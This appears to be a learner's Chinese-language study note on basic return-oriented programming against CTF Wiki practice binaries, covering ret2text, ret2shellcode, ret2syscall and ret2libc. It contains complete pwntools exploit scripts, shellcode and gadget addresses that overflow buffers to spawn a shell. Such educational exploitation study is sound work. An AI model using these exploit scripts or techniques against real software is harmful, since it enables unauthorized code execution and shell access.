函数调用栈
先看这个文章学习函数调用栈
基本ROP
ret2text
出栈时RIP指向栈存放函数返回地址的位置,这个地址我们可以改为一个汇编指令的地址,RIP一直往后面指,以那个地址为起点一直往后执行
.text:0804862D call ___isoc99_scanf
.text:08048632 mov eax, [ebp+input]
.text:08048635 cmp eax, [ebp+secretcode]
.text:08048638 jnz short locret_8048646
.text:0804863A mov dword ptr [esp], offset command ; "/bin/sh"
.text:08048641 call _system
把函数返回地址设为0804863A,会一直往后执行
.text:0804863A mov dword ptr [esp], offset command ; "/bin/sh"
.text:08048641 call _system
ret2shellcode
把恶意汇编代码写到数组(代码块)里面,返回地址指向这个数组(代码块)首地址。
这个数组要可读写执行,全局变量(.bss)有这个特点
ljust() 用法
str = "this is string example....wow!!!";
print str.ljust(50, '0');
#ljust()返回一个原字符串左对齐,并使用空格填充至指定长度的新字符串。
#如果指定的长度小于原字符串的长度则返回原字符串。
#输出 this is string example....wow!!!000000000000000000
shellcraft.sh() 打印结果
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
/* push argument array ['sh\x00'] */
/* push 'sh\x00\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016972
xor ecx, ecx
push ecx /* null terminate */
push 4
pop ecx
add ecx, esp
push ecx /* 'sh\x00' */
mov ecx, esp
xor edx, edx
/* call execve() */
push SYS_execve /* 0xb */
pop eax
int 0x80
计算偏移
disass main
反汇编 main 函数找到 main 的第一条指针所在的地址
在get函数下面的语句打断点
0xffffd038 - 0xffffcfcc + 0x4 = 112
exp.py
#!/usr/bin/env python
from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
#asm()得到汇编码的机器代码
#shellcraft.sh()生成汇编代码shellcode
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112, b'A') + p32(buf2_addr))
sh.interactive()
不知道为什么会报错,后来看了一下,发现要写入shellcode的全局数组在不可执行段
这个方法应该是行不通了
ret2syscall
利用系统调用
该程序是 32 位,所以我们需要使得
系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0
设置寄存器的值,我们需要指令pop eax并且还要ret回栈继续下一个pop
使用命令查找
ROPgadget --binary xxx --only 'pop|ret' | grep 'eax'
发现一个地址可以一次给三个寄存器赋值
查找’/bin/sh’字符串
ROPgadget --binary xxx --string '/bin/sh'
查找int 0x80
ROPgadget --binary xxx --only 'int'
按照前面教程找偏移,用命令n一步步执行
0x98 - 0x2c + 0x4 = 112
exp.py
#!/usr/bin/env python
from pwn import *
sh = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat([b'A'*112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()
#!/usr/bin/env python
from pwn import *
r = process("./rop")
pop_eax_ret_addr = 0x080bb196
pop_edx_pop_ecx_pop_ebx_ret_addr = 0x0806eb90
bin_addr = 0x080be408
int_0x80_addr = 0x08049421
payload = b'A'*112 + p32(pop_eax_ret_addr) + p32(0xb) + p32(pop_edx_pop_ecx_pop_ebx_ret_addr) + p32(0) + p32(0) + p32(bin_addr) + p32(int_0x80_addr)
r.sendline(payload)
r.interactive()
ret2libc1
命令查找字符串'/bin/sh'
ROPgadget --binary ret2libc1 --string '/bin/sh'
在IDA里面查找.plt里面有没有system函数
如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址
因为之前ret2text、ret2shellcode是调用代码块,ret2syscall是进行系统调用,都不是正常的函数,调用ret2libc是正常的函数调用,所以根据函数调用栈的约定,要写返回地址,它在比参数地址小4(32位)的位置
ret2libc2
没有'/bin/sh'
,发现可以用plt中的gets()写入全局数组然后读取
from pwn import *
sh = process('./ret2libc2')
gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx_ret = 0x0804843d
buf2 = 0x0804A080
payload = flat(['a'*112, gets_plt, pop_ebx_ret, buf2, system_plt, 'aaaa', buf2])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()
gets_plt是gets()地址,pop_ebx_ret是返回地址,函数调用完后到pop_ebx_ret执行命令
0x0804843d : pop ebx ; ret
这里的地址把pop_ebx_ret弹出来,又ret让ip指向栈,进行指到system_plt,调用system()
ret2libc3
第二个payload用104个字节填满栈空间是因为第二次调用main函数的时候可能缺少了栈初始化的过程,第二次调用的时候并不是从一开始的OPE进入的,所以出现了少8位的情况,可以使用动态调试器修改内存地址进行调试计算
如果LibcSearcher报错:no matched libc,please add more libc or try others
要更新一下libc-database
具体看这篇文章
exp.py用Wiki里面的,用python2运行
第一次溢出用puts函数打印__libc_start_main在got中位置,用u32()转换为数字,[0:4]是为了去掉框出的前面的字符串
把地址保存在libc_start_main_addr变量里面,找libc版本,其他略
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')
ret2libc3 = ELF('./ret2libc3')
puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']
print "leak libc_start_main_got addr and return to main again"
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)
print "get the related addr"
libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
print "get shell"
payload = flat(['A' * 104, system_addr, 'a'*4, binsh_addr])
sh.sendline(payload)
sh.interactive()
运行后让我们从0、1中选一个,我选0,然后可以执行命令了